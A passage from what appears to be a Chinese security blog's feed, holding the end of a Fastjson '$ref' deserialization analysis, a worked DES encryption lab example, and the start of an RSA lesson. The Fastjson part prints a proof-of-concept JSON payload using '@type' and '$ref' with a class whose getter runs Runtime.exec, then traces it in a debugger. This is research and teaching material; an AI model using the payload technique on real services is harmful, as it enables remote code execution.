class="string">"[{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]"</span>;</span><br><span class="line"> <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> JSON.parse(payload);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Author</span> kilo、冰室/ki10Moc</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2022/11/14</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@time</span> 0:06</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@blog</span> http://ki10.top</span></span><br><span class="line"><span class="comment"> **/</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Test</span> {</span><br><span class="line"> <span class="keyword">private</span> String cmd;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> String <span class="title function_">getCmd</span><span class="params">()</span> <span class="keyword">throws</span> IOException {</span><br><span class="line"> Runtime.getRuntime().exec(cmd);</span><br><span class="line"> <span class="keyword">return</span> cmd;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setCmd</span><span class="params">(String cmd)</span> {</span><br><span class="line"> <span class="built_in">this</span>.cmd = cmd;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/dc6850c866f6481dace57ebac550a4fb.png" alt="在这里插入图片描述"></p><p>首先就是我们要弄清该 <code>payload</code> ,就需要知道 <code>[{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]</code> ref 的作用</p><p><img src="https://img-blog.csdnimg.cn/ab171b9139874091a82122c3fad6eb83.png" alt="在这里插入图片描述"></p><p>打上断点来 debug 下</p><p>首先是 <code>handleResovleTask</code></p><p>这里是处理 <code>refvalue</code> 的地方</p><p>首先判断是否是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>开头,然后获取对象,最后确定</mtext><mi>r</mi><mi>e</mi><mi>f</mi><mtext>:</mtext><mi mathvariant="normal">‘</mi></mrow><annotation encoding="application/x-tex">开头,然后获取对象,最后确定ref:`</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord cjk_fallback">开</span><span class="mord cjk_fallback">头</span><span class="mord cjk_fallback">,</span><span class="mord cjk_fallback">然</span><span class="mord cjk_fallback">后</span><span class="mord cjk_fallback">获</span><span class="mord cjk_fallback">取</span><span class="mord cjk_fallback">对</span><span class="mord cjk_fallback">象</span><span class="mord cjk_fallback">,</span><span class="mord cjk_fallback">最</span><span class="mord cjk_fallback">后</span><span class="mord cjk_fallback">确</span><span class="mord cjk_fallback">定</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord cjk_fallback">:</span><span class="mord">‘</span></span></span></span>[0].cmd`</p><p><code>$[0]</code> 表示的是数组里的第一个元素,则 <code>$[0].cmd</code> 表示的是获取第一个元素的 cmd 属性的值。</p><p><img src="https://img-blog.csdnimg.cn/fdb0c42566414e3591b78f1d191acdc8.png" alt="在这里插入图片描述"></p><p>来看 <code>getObject()</code></p><p><img src="https://img-blog.csdnimg.cn/751616c24c5f457da87a714592975f71.png" alt="在这里插入图片描述"></p><p>获取数组,第 0 个位 <code>$</code> ,第 1 个为 <code>$[0]</code> 并返回该对象</p><p>下面是 <code>JSONPath.eval()</code></p><p><img src="https://img-blog.csdnimg.cn/26884761543445938984c316e180dd68.png" alt="在这里插入图片描述"></p><p>继续跟进 <code>compile()</code></p><p><img src="https://img-blog.csdnimg.cn/898491946cbf4d85a6c4be251c380780.png" alt="在这里插入图片描述"></p><p>这里路径不为空,不会抛出异常</p><p><img src="https://img-blog.csdnimg.cn/e8dbe9b8ad8c4c1799c94e66cb9057d9.png" alt="在这里插入图片描述"></p><p>接着跟进 <code>eval</code> 下的 <code>init()</code></p><p><img src="https://img-blog.csdnimg.cn/664019ba77384d2b825bd7318ec416fa.png" alt="在这里插入图片描述"></p><p>这里 segments 为空,继续往下走</p><p><img src="https://img-blog.csdnimg.cn/18ab23cb8a31429ab519f60a356a591e.png" alt="在这里插入图片描述"></p><p>在调用 <code>parser.explain()</code> 方法前 <code>segments</code> 为空</p><p><img src="https://img-blog.csdnimg.cn/28d9f9f3afbf4d2a96dfc9db42d162dd.png" alt="在这里插入图片描述"></p><p><code>Segement[]</code> 初始长度为 8,因为其接口一共有 8 个</p><p><img src="https://img-blog.csdnimg.cn/e60e37f4682847d78af2d7a9ad4ac0c5.png" alt="在这里插入图片描述"></p><p><img src="https://img-blog.csdnimg.cn/36139b0c68da4c61a6d3d5901ed056b8.png" alt="在这里插入图片描述"></p><p>这里 <code>segment</code> 值就变成了 <code>JSONPath</code></p><p><img src="https://img-blog.csdnimg.cn/78b0c4eb78764b249e060612f04373dc.png" alt="在这里插入图片描述"></p><p>循环追加到 <code>StringBuilder</code> 后面</p><p><img src="https://img-blog.csdnimg.cn/7f08963a6fb2456db9098255b6b28de4.png" alt="在这里插入图片描述"></p><p>然后按顺序执行前面 <code>explain</code> () 生成的 <code>Segment array</code></p><p>最终在 <code>getPropertyValue()</code> 反射调用 <code>get()</code></p><p>至此,就完成了不使用 <code>JSON.parseObect()</code> 也能调用 <code>get()</code> 的方法</p><p>最后可以看下 Y4 师傅的</p><p><a href="https://blog.csdn.net/solitudi/article/details/120275526?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166824314316782425171350%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=166824314316782425171350&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-120275526-null-null.nonecase&utm_term=ref&spm=1018.2226.3001.4450">[Java 安全] Fastjson>=1.2.36$ref 引用可触发 get 方法分析_Y4tacker 的博客 - CSDN 博客_fastjson get 方法</a></p><h2 id="0x05-参考"><a class="markdownIt-Anchor" href="#0x05-参考">#</a> 0x05 参考</h2><p><a href="https://blog.csdn.net/solitudi/article/details/120275526?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166824314316782425171350%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=166824314316782425171350&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-120275526-null-null.nonecase&utm_term=ref&spm=1018.2226.3001.4450">[Java 安全] Fastjson>=1.2.36$ref 引用可触发 get 方法分析_Y4tacker 的博客 - CSDN 博客_fastjson get 方法</a></p><p><a href="https://www.cnblogs.com/R0ser1/p/15918626.html#%E4%BB%80%E4%B9%88%E6%98%AFref">fastjson 不出网学习 - R0ser1 - 博客园 (cnblogs.com)</a></p><p><a href="https://ccship.cn/2021/12/21/fastjson%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8bbasicdatasource%e5%88%a9%e7%94%a8%e9%93%be/">FastJson 反序列化之 BasicDataSource 利用链 – cc (ccship.cn)</a></p><p><a href="https://blog.play2win.top/2021/11/25/fastjson%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8%E7%AE%80%E6%9E%90/">fastjson 不出网利用简析 - P1ay2win’s blog (play2win.top)</a></p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
<tag> FastJson </tag>
</tags>
</entry>
<entry>
<title>信安实验-DES(备课)</title>
<link href="/2022/09/26/%E4%BF%A1%E5%AE%89%E5%AE%9E%E9%AA%8C-DES(%E5%A4%87%E8%AF%BE)/"/>
<url>/2022/09/26/%E4%BF%A1%E5%AE%89%E5%AE%9E%E9%AA%8C-DES(%E5%A4%87%E8%AF%BE)/</url>
<content type="html"><![CDATA[<h3 id="des加密"><a class="markdownIt-Anchor" href="#des加密">#</a> DES 加密</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">明文M=(<span class="number">0123456789</span>ABCDEF)<span class="number">16</span>=(<span class="number">00000001</span> <span class="number">00100011</span> <span class="number">01000101</span> <span class="number">01100111</span> <span class="number">10001001</span> <span class="number">10101011</span> <span class="number">11001101</span> <span class="number">11101111</span>)<span class="number">2</span></span><br><span class="line">密钥K=(<span class="number">133457799</span>BBCDFF1)<span class="number">16</span>=(<span class="number">00010011</span> <span class="number">00110100</span> <span class="number">01010111</span> <span class="number">01111001</span> <span class="number">10011011</span> <span class="number">10111100</span> <span class="number">11011111</span> <span class="number">11110001</span>)<span class="number">2</span></span><br></pre></td></tr></table></figure><h3 id="秘钥的计算"><a class="markdownIt-Anchor" href="#秘钥的计算">#</a> 秘钥的计算</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">K=<span class="number">00010011</span> <span class="number">00110100</span> <span class="number">01010111</span> <span class="number">01111001</span> <span class="number">10011011</span> <span class="number">10111100</span> <span class="number">11011111</span> <span class="number">11110001</span></span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/5a329385cb94465a98992859e6b42bdb.png" alt="在这里插入图片描述"></p><p><img src="https://img-blog.csdnimg.cn/8258fa37be9148139c7b868e496b4f6b.png" alt="在这里插入图片描述"></p><p>压缩置换 1:</p><p>00010011 8<br>00110100 16<br>01010111 24<br>01111001 32<br>10011011 40<br>10111100 48<br>11011111 56<br>11110001 64</p><p><img src="https://img-blog.csdnimg.cn/141f6f7d9c6e4302ae8a4926d140bdb0.png" alt="在这里插入图片描述"><br>按照表格选出上述数字</p><p>1111000<br>0110011<br>0010101<br>0101111<br>0101010<br>1011001<br>1001111<br>0001111</p><p>得到</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">K0=<span class="number">11110000110011001010101011110101010101100110011110001111</span></span><br></pre></td></tr></table></figure><p>拆分</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">C0=<span class="number">1111000011001100101010101111</span></span><br><span class="line">D0=<span class="number">0101010101100110011110001111</span></span><br></pre></td></tr></table></figure><p>第一轮,左移 1 位</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">C1=<span class="number">1110000110011001010101011111</span></span><br><span class="line">D1=<span class="number">1010101011001100111100011110</span></span><br></pre></td></tr></table></figure><p>合并得到新的子秘钥</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C1D1=<span class="number">11100001100110010101010111111010101011001100111100011110</span></span><br></pre></td></tr></table></figure><p>压缩置换 2:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1110000</span> <span class="number">7</span> </span><br><span class="line"><span class="number">1100110</span> <span class="number">14</span></span><br><span class="line"><span class="number">0101010</span> <span class="number">21</span></span><br><span class="line"><span class="number">1011111</span> <span class="number">28</span></span><br><span class="line"><span class="number">1010101</span> <span class="number">35</span></span><br><span class="line"><span class="number">0110011</span> <span class="number">42</span></span><br><span class="line"><span class="number">0011110</span> <span class="number">49</span></span><br><span class="line"><span class="number">0011110</span> <span class="number">56</span></span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/f5f925ba28e24e34ac90f51ef2a5ca86.png" alt="在这里插入图片描述"></p><p>根据压缩置换 2 表得到 K1:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">000110</span></span><br><span class="line"><span class="number">110000</span></span><br><span class="line"><span class="number">001011</span></span><br><span class="line"><span class="number">101111</span></span><br><span class="line"><span class="number">111111</span></span><br><span class="line"><span class="number">000111</span></span><br><span class="line"><span class="number">000001</span></span><br><span class="line"><span class="number">110010</span></span><br></pre></td></tr></table></figure><p>得到</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">K1</span>(<span class="number">48</span>)= <span class="number">00011011</span> <span class="number">00000010</span> <span class="number">11101111</span> <span class="number">11111100</span> <span class="number">01110000</span> <span class="number">01110010</span></span><br></pre></td></tr></table></figure><h3 id="初始转换"><a class="markdownIt-Anchor" href="#初始转换">#</a> 初始转换</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">M=<span class="number">00000001</span> <span class="number">00100011</span> <span class="number">01000101</span> <span class="number">01100111</span> <span class="number">10001001</span> <span class="number">10101011</span> <span class="number">11001101</span> <span class="number">11101111</span></span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="number">00000001</span> </span><br><span class="line"><span class="number">00100011</span> </span><br><span class="line"><span class="number">01000101</span> </span><br><span class="line"><span class="number">01100111</span> </span><br><span class="line"><span class="number">10001001</span> </span><br><span class="line"><span class="number">10101011</span> </span><br><span class="line"><span class="number">11001101</span> </span><br><span class="line"><span class="number">11101111</span></span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/e3cf910b01294c3399b5b9a2618482a1.png" alt="在这里插入图片描述"><br>根据初始置换表转换:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">00000001</span> <span class="number">8</span></span><br><span class="line"><span class="number">00100011</span> <span class="number">16</span></span><br><span class="line"><span class="number">01000101</span> <span class="number">24</span></span><br><span class="line"><span class="number">01100111</span> <span class="number">32</span></span><br><span class="line"><span class="number">10001001</span> <span class="number">40</span></span><br><span class="line"><span class="number">10101011</span> <span class="number">48</span></span><br><span class="line"><span class="number">11001101</span> <span class="number">56</span></span><br><span class="line"><span class="number">11101111</span> <span class="number">64</span></span><br></pre></td></tr></table></figure><p>置换得到:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">11001100</span></span><br><span class="line"><span class="number">00000000</span></span><br><span class="line"><span class="number">11001100</span></span><br><span class="line"><span class="number">11111111</span></span><br><span class="line"><span class="number">11110000</span></span><br><span class="line"><span class="number">10101010</span></span><br><span class="line"><span class="number">11110000</span></span><br><span class="line"><span class="number">10101010</span></span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">M=<span class="number">11001100</span> <span class="number">00000000</span> <span class="number">11001100</span> <span class="number">11111111</span> <span class="number">11110000</span> <span class="number">10101010</span> <span class="number">11110000</span> <span class="number">10101010</span></span><br></pre></td></tr></table></figure><p>分为左右两部分</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">L0=<span class="number">11001100</span> <span class="number">00000000</span> <span class="number">11001100</span> <span class="number">11111111</span></span><br><span class="line">R0=<span class="number">11110000</span> <span class="number">10101010</span> <span class="number">11110000</span> <span class="number">10101010</span></span><br></pre></td></tr></table></figure><h3 id="扩展置换"><a class="markdownIt-Anchor" href="#扩展置换">#</a> 扩展置换</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">R0=<span class="number">11110000</span> <span class="number">10101010</span> <span class="number">11110000</span> <span class="number">10101010</span></span><br></pre></td></tr></table></figure><p>分组</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1111</span> </span><br><span class="line"> <span class="number">0000</span> </span><br><span class="line"> <span class="number">1010</span> </span><br><span class="line"> <span class="number">1010</span> </span><br><span class="line"> <span class="number">1111</span> </span><br><span class="line"> <span class="number">0000</span> </span><br><span class="line"> <span class="number">1010</span> </span><br><span class="line"> <span class="number">1010</span></span><br></pre></td></tr></table></figure><p>拓展置换得到</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">011110 </span><br><span class="line"> <span class="number">100001</span> </span><br><span class="line"> <span class="number">0</span>10101 </span><br><span class="line"> <span class="number">0</span>10101 </span><br><span class="line"> 011110 </span><br><span class="line"> <span class="number">100001</span> </span><br><span class="line"> <span class="number">0</span>10101 </span><br><span class="line"> <span class="number">0</span>10101</span><br></pre></td></tr></table></figure><p>得到</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">E(R0)<span class="number">48</span>=01111010 <span class="number">000</span>10101 <span class="number">0</span>1010101 01111010 <span class="number">000</span>10101 <span class="number">0</span>1010101</span><br></pre></td></tr></table></figure><p>R048=E (R0) 异或 K1</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">K1(<span class="number">48</span>)= 00011011 <span class="number">000000</span>10 <span class="number">11101111</span> <span class="number">11111100</span> 01110000 01110010 </span><br></pre></td></tr></table></figure><p>得到</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">R0(<span class="number">48</span>)=01100001 <span class="number">000</span>10111 <span class="number">10111010</span> <span class="number">10000110</span> 01100101 <span class="number">00</span>100111</span><br></pre></td></tr></table></figure><h3 id="s盒替换"><a class="markdownIt-Anchor" href="#s盒替换">#</a> S 盒替换</h3><p>将 R0 分组</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">011000</span><br><span class="line"><span class="number">0</span>10001</span><br><span class="line">011110</span><br><span class="line"><span class="number">111010</span></span><br><span class="line"><span class="number">100001</span></span><br><span class="line"><span class="number">100110</span></span><br><span class="line"><span class="number">0</span>10100</span><br><span class="line"><span class="number">100111</span></span><br></pre></td></tr></table></figure><p>扩展位二进制转十进制,原位二进制转为十进制,对应表格中数字转为二进制</p><table><thead><tr><th>组</th><th>列</th><th>值</th></tr></thead><tbody><tr><td>S1: 00=0</td><td>1100=12</td><td>5=0101</td></tr><tr><td>S2:01=1</td><td>1000=8</td><td>12=1100</td></tr></tbody></table><p><img src="https://img-blog.csdnimg.cn/a018a0a03c624fcd864a96a3e1bbf815.png" alt="在这里插入图片描述"></p><table><thead><tr><th>组</th><th>列</th><th>值</th></tr></thead><tbody><tr><td>S3:00=0</td><td>1111=15</td><td>8=1000</td></tr><tr><td>S4:10=2</td><td>1101=13</td><td>2=0010</td></tr></tbody></table><p><img src="https://img-blog.csdnimg.cn/4e5d0dd0e418412cad3b1af3b89bff6c.png" alt="在这里插入图片描述"></p><table><thead><tr><th>组</th><th>列</th><th>值</th></tr></thead><tbody><tr><td>S5:11=3</td><td>0000=0</td><td>11=1011</td></tr><tr><td>S6:10=2</td><td>0011=3</td><td>5=0101</td></tr></tbody></table><p><img src="https://img-blog.csdnimg.cn/191b04bf663540808826c522bd0b79c2.png" alt="在这里插入图片描述"></p><table><thead><tr><th>组</th><th>列</th><th>值</th></tr></thead><tbody><tr><td>S7:00=0</td><td>1010=10</td><td>9=1001</td></tr><tr><td>S8:11=3</td><td>0011=3</td><td>7=0111</td></tr></tbody></table><p><img src="https://img-blog.csdnimg.cn/65568edcdd1543d68e395157b854a99b.png" alt="在这里插入图片描述"><br>最终</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">S1(011000)=<span class="number">0</span>101, S2(<span class="number">0</span>10001)=<span class="number">1100</span>, S3(011110)=<span class="number">1000</span>, S4(<span class="number">111010</span>)=<span class="number">00</span>10 S5(<span class="number">100001</span>)=<span class="number">1011</span>, S6(<span class="number">100110</span>)=<span class="number">0</span>101, S7(<span class="number">0</span>10100)=<span class="number">1001</span>, S8(<span class="number">100111</span>)=0111</span><br></pre></td></tr></table></figure><h3 id="p盒置换"><a class="markdownIt-Anchor" href="#p盒置换">#</a> P 盒置换</h3><p>分组</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0</span>101 <span class="number">4</span></span><br><span class="line"><span class="number">1100</span> <span class="number">8</span></span><br><span class="line"><span class="number">1000</span> <span class="number">12</span></span><br><span class="line"><span class="number">00</span>10 <span class="number">16</span></span><br><span class="line"><span class="number">1011</span> <span class="number">20</span></span><br><span class="line"><span class="number">0</span>101 <span class="number">24</span></span><br><span class="line"><span class="number">1001</span> <span class="number">28</span></span><br><span class="line">0111 <span class="number">32</span></span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/8e0a181dd1f94cbf90170f1db29b1b95.png" alt="在这里插入图片描述"><br>根据 P 盒置换表转换得到:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">00</span>10</span><br><span class="line">0011</span><br><span class="line"><span class="number">0</span>100</span><br><span class="line"><span class="number">1010</span></span><br><span class="line"><span class="number">1010</span></span><br><span class="line"><span class="number">1001</span></span><br><span class="line"><span class="number">1011</span></span><br><span class="line"><span class="number">1011</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">F= <span class="number">00</span>100011 <span class="number">0</span>1001010 <span class="number">10101001</span> <span class="number">10111011</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">L0=<span class="number">11001100</span> <span class="number">00000000</span> <span class="number">11001100</span> <span class="number">11111111</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">R1=L0^F=<span class="number">11101111</span> <span class="number">0</span>1001010 01100101 <span class="number">0</span>1000100</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">L1=R0=<span class="number">11110000</span> <span class="number">10101010</span> <span class="number">11110000</span> <span class="number">10101010</span></span><br></pre></td></tr></table></figure><p>经过第一轮加密后</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">M1=<span class="number">11101111</span> <span class="number">01001010</span> <span class="number">01100101</span> <span class="number">01000100</span> <span class="number">11110000</span> <span class="number">10101010</span> <span class="number">11110000</span> <span class="number">10101010</span></span><br></pre></td></tr></table></figure><p>即<br> M1=(EF4A6544F0AAF0AA) 16</p>]]></content>
<tags>
<tag> 信息安全 </tag>
<tag> 密码学 </tag>
<tag> DES </tag>
</tags>
</entry>
<entry>
<title>信安实验-RSA(备课)</title>
<link href="/2022/09/25/%E4%BF%A1%E5%AE%89%E5%AE%9E%E9%AA%8C-RSA(%E5%A4%87%E8%AF%BE)/"/>
<url>/2022/09/25/%E4%BF%A1%E5%AE%89%E5%AE%9E%E9%AA%8C-RSA(%E5%A4%87%E8%AF%BE)/</url>
<content type="html"><![CDATA[<h2 id="简介"><a class="markdownIt-Anchor" href="#简介">#</a> 简介</h2><ul><li><p>来源</p><p>RSA 加密算法是一种非对称加密算法。在公开密钥加密和电子商业中 RSA 被广泛使用。RSA 是 1977 年由罗纳德・李维斯特(Ron Rivest)、阿迪・萨莫尔(Adi Shamir)和伦纳德・阿德曼(Leonard Adleman)一起提出的。RSA 就是他们三人姓氏开头字母拼在一起组成的。</p></li><li><p>安全性</p><p>RSA 算法的可靠性由极大整数因数分解的难度决定。换言之,对一极大整数做因数分解愈困难,RSA 算法愈可靠。假如有人找到一种快速因数分解的算法的话,那么用 RSA 加密的信息的可靠性就肯定会极度下降。但找到这样的算法的可能性是非常小的。如今,只有短的 RSA 密钥才可能被强力方式解破。到 2017 年为止,还没有任何可靠的攻击 RSA 算法的方式。</p></li></ul><h2 id="前置知识"><a class="markdownIt-Anchor" href="#前置知识">#</a> 前置知识</h2><h3 id="模运算"><a class="markdownIt-Anchor" href="#模运算">#</a> 模运算</h3><p>假设 a,r,m∈Z(Z 为整数集),并且 m>0。如果 m 除 a-r,可记作:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">a ≡ r mod m</span><br></pre></td></tr></table></figure><p>其中 m 为模数,r 为余数</p><h3 id="余数计算"><a class="markdownIt-Anchor" href="#余数计算">#</a> 余数计算</h3><p>总可以找到一个 a∈Z,使得</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">a = q · m + r , 其中<span class="number">0</span> ≤ r < m</span><br></pre></td></tr></table></figure><p>由于 a - r = q・m(m 除 a-r),上面的表达式可以写作:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">a ≡ r mod <span class="title function_ invoke__">m</span>(r∈{<span class="number">0</span>,<span class="number">1</span>,<span class="number">2</span>,…,m-<span class="number">1</span>})</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">如a=<span class="number">88</span>,m=<span class="number">12</span>,则</span><br><span class="line"></span><br><span class="line"><span class="number">88</span> = <span class="number">12</span> ·<span class="number">7</span> + <span class="number">4</span></span><br><span class="line">因此<span class="number">88</span> ≡ <span class="number">4</span> mod <span class="number">12</span></span><br></pre></td></tr></table></figure><h3 id="等价类中所有成员得到行为等价"><a class="markdownIt-Anchor" href="#等价类中所有成员得到行为等价">#</a> 等价类中所有成员得到行为等价</h3><p>对于一个给定模数 m,选择等价类中任何一个元素来计算,结果都是一样的</p><p>直接计算</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">3</span>⁸ = <span class="number">6561</span> ≡ <span class="number">2</span> mod <span class="number">7</span></span><br></pre></td></tr></table></figure><p>替代计算 (简化)</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">将<span class="number">3</span>⁸ 替换为<span class="number">3</span>⁴ ·<span class="number">3</span>⁴ = <span class="number">81</span> ·<span class="number">81</span></span><br><span class="line">因为<span class="number">81</span> = <span class="number">11</span> · <span class="number">7</span> +<span class="number">4</span></span><br><span class="line">则<span class="number">3</span>⁸ = <span class="number">81</span> · <span class="number">81</span> ≡ <span class="number">4</span> · <span class="number">4</span> =<span class="number">16</span> mod <span class="number">7</span></span><br><span class="line">最后得到<span class="number">16</span> ≡ <span class="number">2</span> mod <span class="number">7</span></span><br></pre></td></tr></table></figure><h3 id="乘法逆元模逆元"><a class="markdownIt-Anchor" 